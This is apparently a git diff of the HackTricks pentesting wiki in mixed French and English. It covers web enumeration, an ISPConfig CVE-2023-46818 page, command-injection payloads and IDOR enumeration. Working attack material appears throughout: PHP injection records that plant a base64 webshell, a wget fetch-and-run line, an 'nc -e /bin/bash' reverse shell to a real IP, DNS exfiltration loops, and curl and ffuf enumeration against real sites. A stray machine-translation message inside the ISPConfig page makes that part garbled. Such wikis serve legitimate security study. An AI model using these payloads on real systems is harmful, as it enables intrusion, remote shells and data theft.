- **Découvrir de nouveaux paramètres** : Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si vous le pouvez, vous pourriez essayer de rechercher** des paramètres cachés sur chaque fichier web exécutable.
- _Arjun toutes les listes de mots par défaut :_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez trouver **des identifiants** ou **des fonctionnalités cachées**.
- Si vous jouez à un **CTF**, un "truc" "commun" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **de cacher des informations** dans un commentaire au **bas** de la page web.
- **Clés API** : Si vous **trouvez une clé API**, il existe un guide qui indique comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles API la clé peut accéder.
- **S3 Buckets** : Lors du spidering, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html).
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
### Découvertes spéciales
### Special findings
**Lors** de l'exécution du **spidering** et du **brute-forcing**, vous pourriez trouver des **choses intéressantes** que vous devez **noter**.
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Fichiers intéressants**
**Interesting files**
- Recherchez des **liens** vers d'autres fichiers à l'intérieur des **fichiers CSS**.
- [Si vous trouvez un fichier _**.git**_, certaines informations peuvent être extraites](git.md).
- Si vous trouvez un _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées.
- Si vous trouvez des **points de terminaison API**, vous [devez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils "ressembleront probablement" à eux.
- **Fichiers JS** : Dans la section spidering, plusieurs outils qui peuvent extraire des chemins des fichiers JS ont été mentionnés. De plus, il serait intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines occasions, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.**
- Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
- **Déobfuscateur et unpacker Javascript :** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Beautificateur Javascript :** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **Déobfuscation JsFuck** (javascript avec des caractères : "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- Look for **links** to other files inside the **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- À plusieurs reprises, vous devrez **comprendre les expressions régulières** utilisées. Cela sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex).
- Vous pourriez également **surveiller les fichiers où des formulaires ont été détectés**, car un changement dans le paramètre ou l'apparition d'un nouveau formulaire peut indiquer une nouvelle fonctionnalité potentiellement vulnérable.
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
**403 Interdit/Authentification de base/401 Non autorisé (bypass)**
{{#ref}}
403-and-401-bypasses.md
{{#endref}}
**502 Erreur de proxy**
**502 Proxy Error**
Si une page **répond** avec ce **code**, c'est probablement un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec l'en-tête d'hôte et d'autres en-têtes communs), le **proxy** essaiera d'**accéder** à _**google.com**_ **et vous aurez trouvé un** SSRF.
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
**Authentification NTLM - Divulgation d'informations**
**NTLM Authentication - Info disclosure**
Si le serveur en cours d'exécution demande une authentification est **Windows** ou si vous trouvez une connexion demandant vos **identifiants** (et demandant un **nom de domaine**), vous pouvez provoquer une **divulgation d'informations**.\
**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison de la façon dont **l'authentification NTLM fonctionne**, le serveur répondra avec des informations internes (version IIS, version Windows...) à l'intérieur de l'en-tête "WWW-Authenticate".\
Vous pouvez **automatiser** cela en utilisant le **plugin nmap** "_http-ntlm-info.nse_".
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
**Redirection HTTP (CTF)**
**HTTP Redirect (CTF)**
Il est possible de **mettre du contenu** à l'intérieur d'une **Redirection**. Ce contenu **ne sera pas affiché à l'utilisateur** (car le navigateur exécutera la redirection) mais quelque chose pourrait être **caché** là-dedans.
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
### Vérification des vulnérabilités Web
### Web Vulnerabilities Checking
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
Maintenant qu'une énumération complète de l'application web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici :
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Trouvez plus d'infos sur les vulnérabilités web dans :
Find more info about web vulns in:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Surveiller les pages pour les changements
### Monitor Pages for changes
Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour surveiller les pages pour des modifications qui pourraient insérer des vulnérabilités.
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
### Commandes Automatiques HackTricks
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

91
src/network-services-pentesting/pentesting-web/ispconfig.md Normal file
View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Vue d'ensemble
ISPConfig est un panneau de contrôle d'hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d'édition des fichiers de langue qui, lorsqu'elle est activée pour le super administrateur, permettait l'injection de code PHP arbitraire via un enregistrement de traduction mal formé. Cela peut permettre une RCE dans le contexte du serveur web et, selon la manière dont PHP est exécuté, une privilege escalation.
Principaux chemins par défaut :
- La racine web se situe souvent dans `/var/www/ispconfig` lorsqu'il est servi avec `php -S` ou via Apache/nginx.
- L'interface d'administration est accessible sur le vhost HTTP(S) (parfois liée uniquement à localhost ; utilisez un port-forward SSH si nécessaire).
Astuce : si le panneau est lié localement (p. ex. `127.0.0.1:8080`), faites un tunnel :
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
Références : entrée NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section References ci-dessous.
### Manual exploitation flow
1) Ouvrir/créer un fichier de langue pour obtenir les tokens CSRF
Envoyez un premier POST pour initialiser le formulaire et extraire les champs CSRF depuis la réponse HTML (`csrf_id`, `csrf_key`). Exemple de chemin de requête : `/admin/language_edit.php`.
2) Injecter du PHP via records[] et sauvegarder
Soumettez un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Probes minimales d'exécution de commande :
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Test hors-bande (observer ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Écrire des fichiers et déposer un webshell
Utilisez `file_put_contents` pour créer un fichier sous un chemin accessible via le web (par exemple, `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Ensuite, écrivez un webshell simple utilisant base64 pour éviter les caractères indésirables dans le corps POST :
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Je n’ai pas reçu le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md. Veuillez coller ici le contenu à traduire (ou téléverser le fichier). Je traduirai tout en français en conservant exactement la même syntaxe Markdown/HTML et en respectant vos consignes.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Si PHP est exécuté en root (par exemple via `php -S 127.0.0.1:8080` lancé par root), cela entraîne une root RCE immédiate. Sinon, vous obtenez une exécution de code en tant qu'utilisateur du serveur web.
### Python PoC
Un exploit prêt à l'emploi automatise la gestion des tokens et la livraison des payloads :
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Exemple d'exécution:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Hardening
- Mettre à niveau vers la version 3.2.11p1 ou une version ultérieure
- Désactiver l'éditeur de langues sauf si strictement nécessaire:
```
admin_allow_langedit=no
```
- Évitez d'exécuter le panneau en tant que root ; configurez PHP-FPM ou le web server pour réduire les privilèges
- Imposer une authentification forte pour le compte intégré `admin`
## Références
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

37
src/pentesting-web/command-injection.md
View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## Qu'est-ce que l'injection de commande ?
## Qu'est-ce que command Injection ?
Une **injection de commande** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent.
Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès ou un contrôle non autorisé sur l'environnement de l'application et le système sous-jacent.
### Contexte
Selon **où votre entrée est injectée**, vous devrez peut-être **terminer le contexte cité** (en utilisant `"` ou `'`) avant les commandes.
Selon **l'endroit où votre entrée est injectée**, vous devrez peut‑être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
## Command Injection/Execution
```bash
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
@ -31,14 +32,14 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Limitation** Bypasses
Si vous essayez d'exécuter **des commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé de lire sur ces **Bypasses :**
Si vous essayez d'exécuter **des commandes arbitraires dans une machine linux**, vous serez intéressé par ces **Bypasses :**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### **Examples**
### **Exemples**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Paramètres
Voici les 25 principaux paramètres qui pourraient être vulnérables à l'injection de code et à des vulnérabilités RCE similaires (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Voici les 25 paramètres principaux qui pourraient être vulnérables aux code injection et autres vulnérabilités RCE (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)) :
```
?cmd={payload}
?exec={payload}
@ -74,7 +75,7 @@ Voici les 25 principaux paramètres qui pourraient être vulnérables à l'injec
?run={payload}
?print={payload}
```
### Exfiltration de données basée sur le temps
### Time based data exfiltration
Extraction de données : caractère par caractère
```
@ -88,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### Exfiltration de données basée sur DNS
### Exfiltration de données via DNS
Basé sur l'outil de `https://github.com/HoLyVieR/dnsbin` également hébergé sur dnsbin.zhack.ca
Basé sur l'outil provenant de `https://github.com/HoLyVieR/dnsbin` également hébergé sur dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Outils en ligne pour vérifier l'exfiltration de données basée sur DNS :
Outils en ligne pour vérifier l'exfiltration de données via DNS:
- dnsbin.zhack.ca
- pingb.in
### Contournement de filtrage
### Contournement du filtrage
#### Windows
```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
Lors de l'audit des back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
Lorsque vous auditez des back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` crée un **shell** (`/bin/sh -c`), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **injection de commande** lorsque l'entrée utilisateur est concaténée dans la chaîne.
`exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère qui a une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne.
**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément de tableau séparé** afin qu'aucun shell ne soit impliqué :
**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément séparé du tableau** afin qu'aucun shell ne soit impliqué :
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Cas réel : *Synology Photos* ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l'attaquant dans `id_user`, qui étaient ensuite intégrées dans un appel `exec()`, atteignant RCE (Pwn2Own Irlande 2024).
Cas réel : *Synology Photos* ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l'attaquant dans `id_user`, lesquelles étaient ensuite incorporées dans un appel `exec()`, permettant une RCE (Pwn2Own Ireland 2024).
## Liste de détection de Brute-Force
## Liste de détection Brute-Force
{{#ref}}
@ -153,6 +154,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction des archives chiffrées Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

85
src/pentesting-web/idor.md
View File

@ -2,22 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu'un point de terminaison web ou API divulgue ou accepte un identifiant contrôlable par l'utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l'appelant est autorisé** à accéder/modifier cet objet. L'exploitation réussie permet normalement une élévation de privilèges horizontale ou verticale, comme la lecture ou la modification des données d'autres utilisateurs et, dans le pire des cas, la prise de contrôle complète du compte ou l'exfiltration de données massives.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu'un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l'utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l'appelant est autorisé** à accéder/modifier cet objet.
Une exploitation réussie permet généralement une escalade de privilèges horizontale ou verticale, comme la lecture ou la modification des données d'autres utilisateurs et, dans le pire des cas, la prise de contrôle complète d'un compte ou l'exfiltration massive de données.
---
## 1. Identifier les IDOR potentiels
1. Recherchez des **paramètres qui font référence à un objet** :
* Chemin : `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Requête : `?id=42`, `?invoice=2024-00001`
* Corps / JSON : `{"user_id": 321, "order_id": 987}`
* En-têtes / Cookies : `X-Client-ID: 4711`
2. Préférez les points de terminaison qui **lisent ou mettent à jour** des données (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Notez lorsque les identifiants sont **séquentiels ou prévisibles** – si votre ID est `64185742`, alors `64185741` existe probablement.
4. Explorez des flux cachés ou alternatifs (par exemple, le lien *"Membres de l'équipe Paradox"* sur les pages de connexion) qui pourraient exposer des API supplémentaires.
5. Utilisez une **session authentifiée à faible privilège** et changez uniquement l'ID **en gardant le même token/cookie**. L'absence d'une erreur d'autorisation est généralement un signe d'IDOR.
1. Recherchez des **paramètres qui référencent un objet** :
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Privilégiez les endpoints qui **lisent ou mettent à jour** des données (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Notez lorsque les identifiants sont **séquentiels ou prédictibles** – si votre ID est `64185742`, alors `64185741` existe probablement.
4. Explorez les flux cachés ou alternatifs (par ex. le lien *"Paradox team members"* sur les pages de login) qui peuvent exposer des API supplémentaires.
5. Utilisez une **session authentifiée à faible privilège** et ne changez que l'ID **en conservant le même token/cookie**. L'absence d'une erreur d'autorisation est généralement un signe d'IDOR.
### Quick manual tampering (Burp Repeater)
### Manipulation manuelle rapide (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
@ -26,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
### Énumération automatisée (Burp Intruder / boucle curl)
### Enumération automatisée (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done
```
---
## 2. Étude de cas réelle – Plateforme de chatbot McHire (2025)
Lors d'une évaluation du portail de recrutement **McHire** alimenté par Paradox.ai, l'IDOR suivant a été découvert :
### Oracle de réponse d'erreur pour l'énumération utilisateur/fichier
Quand un download endpoint accepte à la fois un username et un filename (par ex. `/view.php?username=<u>&file=<f>`), des différences subtiles dans les messages d'erreur créent souvent un oracle :
- Nom d'utilisateur inexistant → "User not found"
- Mauvais filename mais extension valide → "File does not exist" (parfois liste aussi les fichiers disponibles)
- Mauvaise extension → validation error
Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en conservant un filename bénin et filtrer sur la chaîne "user not found" pour découvrir des utilisateurs valides :
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., `/view.php?username=amanda&file=privacy.odt`). Ce schéma conduit souvent à la divulgation non autorisée des documents d'autres utilisateurs et credential leakage.
---
## 2. Étude de cas réelle – McHire Chatbot Platform (2025)
Lors d'une évaluation du portail de recrutement **McHire** propulsé par Paradox.ai, l'IDOR suivant a été découvert :
* Endpoint: `PUT /api/lead/cem-xhr`
* Autorisation : cookie de session utilisateur pour **n'importe quel** compte test de restaurant
* Paramètre de corps : `{"lead_id": N}` – identifiant numérique **séquentiel** à 8 chiffres
* Authorization: cookie de session utilisateur pour **n'importe quel** compte test restaurant
* Body parameter: `{"lead_id": N}` – identifiant numérique de 8 chiffres, **séquentiel**
En diminuant `lead_id`, le testeur a récupéré des **informations personnelles complètes** (nom, e-mail, téléphone, adresse, préférences de quart) d'arbitraires candidats, ainsi qu'un **JWT** consommateur qui permettait le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
En décrémentant `lead_id`, le testeur a récupéré la **full PII** d'autres candidats arbitraires (nom, e-mail, téléphone, adresse, préférences de poste) ainsi qu'un **JWT** utilisateur qui a permis le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
Demande de preuve de concept :
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **default admin credentials** (`123456:123456`) qui ont accordé l'accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l'échelle de l'entreprise.
Combinée avec les **identifiants admin par défaut** (`123456:123456`) qui donnaient accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l'échelle de l'entreprise.
---
## 3. Impact de l'IDOR / BOLA
* Escalade horizontale – lire/mettre à jour/supprimer les données **d'autres utilisateurs**.
* Escalade verticale – un utilisateur à faible privilège obtient des fonctionnalités réservées aux administrateurs.
* Violation massive de données si les identifiants sont séquentiels (par exemple, identifiants de candidats, factures).
* Prise de contrôle de compte en volant des jetons ou en réinitialisant les mots de passe d'autres utilisateurs.
## 3. Impact de IDOR / BOLA
* Escalade horizontale – lecture/mise à jour/suppression des données **d'autres utilisateurs**.
* Escalade verticale – un utilisateur à faible privilège obtient des fonctionnalités réservées aux admins.
* Violation massive de données si les identifiants sont séquentiels (ex., IDs de candidats, factures).
* Prise de contrôle de compte en volant des tokens ou en réinitialisant les mots de passe d'autres utilisateurs.
---
## 4. Atténuations & Meilleures Pratiques
1. **Appliquer l'autorisation au niveau des objets** sur chaque requête (`user_id == session.user`).
2. Préférer des **identifiants indirects et impossibles à deviner** (UUIDv4, ULID) au lieu d'IDs auto-incrémentés.
## 4. Atténuations & Bonnes pratiques
